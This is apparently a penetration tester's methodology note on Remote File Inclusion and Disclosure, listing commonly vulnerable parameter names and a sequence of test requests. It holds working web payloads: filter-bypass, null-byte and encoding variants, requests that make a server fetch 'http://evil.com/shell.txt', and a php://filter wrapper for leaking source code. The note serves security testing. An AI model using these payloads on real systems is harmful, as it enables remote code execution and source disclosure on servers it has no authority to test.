Remote File Inclusion or Disclosure (RFI/RFD)
Remote File Inclusion (RFI) enables attackers to load remote files
and have them executed on a server.
Any GET endpoint that retrieves a file is a candidate to this
vulnerability. Some vulnerable requests might be in an API response
and not be directly reflected in the url of the website. Any
parameter can be potentially vulnerable to remote file inclusion but
it's worth paying particular attention to the following parameters:
cat, dir, action, filename, board, date, detail, file, download,
path, folder, prefix, include, page, inc, locate, show, doc, site,
type, view, content, document, layout, mod, conf, directory. These
are most of the steps I usually follow:
-
Test for an domain:
GET ?filename=https://www.google.com
-
Check if http is filtered out with a case sensitive regexp:
GET ?filename=hTtps://www.google.com
-
Check if http is filtered out with a case insensitive
regexp:
GET ?filename=hthttptps://www.google.com
-
Check for filter bypass:
GET ?filename=https://www.google.com?page=http://evil.com/shell.txt
-
Check for null byte:
GET ?filename=https://www.google.com?page=http://evil.com/shell.txt%00
-
Check for encoding:
GET ?filename=https:%2f%2fwww.google.com
-
Check for double encoding:
GET ?filename=https:%252f%252fwww.google.com
-
Search for filters (example for PHP files only):
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
More payloads at:
PayloadsAllTheThings Remote File Inclusion.